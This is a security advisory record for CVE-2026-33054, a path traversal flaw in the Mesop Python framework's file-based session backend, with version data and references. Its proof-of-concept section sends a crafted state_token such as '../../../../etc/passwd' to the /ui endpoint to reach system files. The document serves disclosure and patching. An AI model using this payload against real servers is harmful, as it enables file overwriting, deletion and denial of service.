PYSEC-2026-411
Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:22Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.
Details
When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).
# mesop/server/state_session.py
def _make_file_path(self, token: str) -> Path:
return self.base_dir / (self.prefix + token)
Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.
PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.
import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"
serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
"http://localhost:32123/ui",
data=serialized_event,
headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)
Impact
This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
| Name | purl | mesop | pkg:pypi/mesop |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mesop",
"purl": "pkg:pypi/mesop"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.10.0",
"0.10.0rc0",
"0.10.0rc1",
"0.10.0rc2",
"0.11.0",
"0.11.0rc0",
"0.11.1",
"0.12.0",
"0.12.0rc0",
"0.12.1",
"0.12.10b1",
"0.12.10b2",
"0.12.10b3",
"0.12.10rc1",
"0.12.1rc0",
"0.12.2",
"0.12.3",
"0.12.3rc0",
"0.12.4",
"0.12.4rc0",
"0.12.5",
"0.12.5b1",
"0.12.5rc1",
"0.12.6",
"0.12.6rc1",
"0.12.7",
"0.12.7b1",
"0.12.7rc1",
"0.12.8",
"0.12.8b1",
"0.12.8rc1",
"0.12.9",
"0.12.9rc1",
"0.13.0",
"0.13.0rc1",
"0.14.0",
"0.14.1",
"0.14.1rc1",
"0.14.2b1",
"0.14.2b2",
"0.14.2rc1",
"0.14rc1",
"0.3.1",
"0.3.2",
"0.3.3",
"0.3.4",
"0.4.0",
"0.4.1",
"0.4.2",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.5.4",
"0.5.5",
"0.5.6",
"0.6.0",
"0.7.0",
"0.7.1",
"0.7.2",
"0.8.0",
"0.8.0rc0",
"0.9.0",
"0.9.0rc1",
"0.9.1",
"0.9.1rc1",
"0.9.2",
"0.9.2rc1",
"0.9.3",
"0.9.3rc0",
"0.9.4",
"0.9.4rc0",
"0.9.5",
"0.9.5rc0",
"1.0.0",
"1.0.0rc1",
"1.0.0rc2",
"1.0.1",
"1.0.1rc1",
"1.1.0",
"1.1.0rc1",
"1.1.1",
"1.1.1rc1",
"1.1.1rc2",
"1.1.1rc3",
"1.2.0",
"1.2.0rc1",
"1.2.1",
"1.2.1rc1",
"1.2.2",
"1.2.2rc1"
]
}
],
"aliases": [
"CVE-2026-33054",
"GHSA-8qvf-mr4w-9x2c"
],
"details": "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\n When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user\u0027s `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n def _make_file_path(self, token: str) -\u003e Path:\n return self.base_dir / (self.prefix + token)\n```\nPython\u0027s standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n \n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\n headers = {\u0027Content-Type\u0027: \u0027application/x-protobuf\u0027}\nresponse = requests.post(\n \"http://localhost:32123/ui\",\n data=serialized_event,\n headers=headers\n )\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\n print(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.",
"id": "PYSEC-2026-411",
"modified": "2026-07-01T20:22:57.656652Z",
"published": "2026-06-29T11:50:44.967175Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33054"
},
{
"type": "WEB",
"url": "https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b"
},
{
"type": "PACKAGE",
"url": "https://github.com/mesop-dev/mesop"
},
{
"type": "WEB",
"url": "https://github.com/mesop-dev/mesop/releases/tag/v1.2.3"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/mesop"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8qvf-mr4w-9x2c"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.